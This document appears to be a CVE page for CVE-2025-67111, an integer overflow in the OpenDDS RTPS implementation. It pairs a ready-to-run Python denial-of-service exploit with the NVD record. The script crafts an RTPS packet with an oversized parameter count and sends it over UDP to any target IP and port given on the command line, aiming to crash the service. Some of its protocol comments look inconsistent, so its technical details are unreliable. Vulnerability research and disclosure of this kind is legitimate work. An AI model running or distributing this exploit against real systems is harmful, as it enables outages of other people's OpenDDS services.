CVE-2025-67111

# CVE-2025-67111 PoC - OpenDDS RTPS Integer Overflow # This PoC demonstrates sending a crafted RTPS message that triggers integer overflow import socket import struct import sys def create_rtps_message_with_overflow(): """ Create a malicious RTPS message with oversized length field to trigger integer overflow in OpenDDS < 3.33.0 """ # RTPS Header rtps_header = b'RTPS' protocol_version = struct.pack('!H', 2) # RTPS 2.x vendor_id = struct.pack('!H', 0x0103) # OpenDDS vendor ID # GUID prefix (12 bytes) guid_prefix = b'\x01\x00\x00\x00' * 3 # Message with oversized parameter count to trigger overflow # Setting parameter count to a value that causes overflow in size calculation param_count = 0xFFFFFFFF # Max uint32 to trigger overflow # Build submessage with malicious parameter submessage_id = 0x0C # INFO_SRC submessage flags = 0x03 # Encapsulation with malicious size encapsulation = struct.pack('!HH', 0x0001, param_count) # Oversized count # Construct the full message header = rtps_header + protocol_version + vendor_id + guid_prefix # Submessage header submessage_header = struct.pack('!BBH', submessage_id, flags, len(encapsulation) + 8) # Parameter list with overflow values param_header = struct.pack('!HH', 0x0070, param_count) # PID_SENTINEL with overflow message = header + submessage_header + param_header + encapsulation return message def send_exploit(target_ip, target_port=7400): """ Send the crafted RTPS message to target OpenDDS service """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) payload = create_rtps_message_with_overflow() print(f"[*] Sending malicious RTPS packet ({len(payload)} bytes) to {target_ip}:{target_port}") sock.sendto(payload, (target_ip, target_port)) print("[+] Packet sent successfully") print("[*] If vulnerable, OpenDDS service should crash or become unresponsive") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_67111_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 7400 send_exploit(target, port)

{"cve": {"id": "CVE-2025-67111", "sourceIdentifier": "[email protected]", "published": "2025-12-23T16:16:23.223", "lastModified": "2026-01-06T17:41:11.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An integer overflow in the RTPS protocol implementation of OpenDDS DDS before v3.33.0 allows attackers to cause a Denial of Service (DoS) via a crafted message."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:objectcomputing:opendds:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.33.0", "matchCriteriaId": "21242DB0-473F-464D-80FC-A25D80CA03BD"}]}]}], "references": [{"url": "https://gist.github.com/lkloliver/fcc5da83b4cba137ce95177a9afc4126", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/lkloliver/poc/blob/main/POC_OpenDDS.md", "source": "[email protected]", "tags": ["Broken Link"]}]}}